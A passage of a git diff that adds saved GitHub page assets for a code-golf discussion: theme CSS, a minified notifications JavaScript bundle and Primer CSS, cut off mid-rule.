#FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid 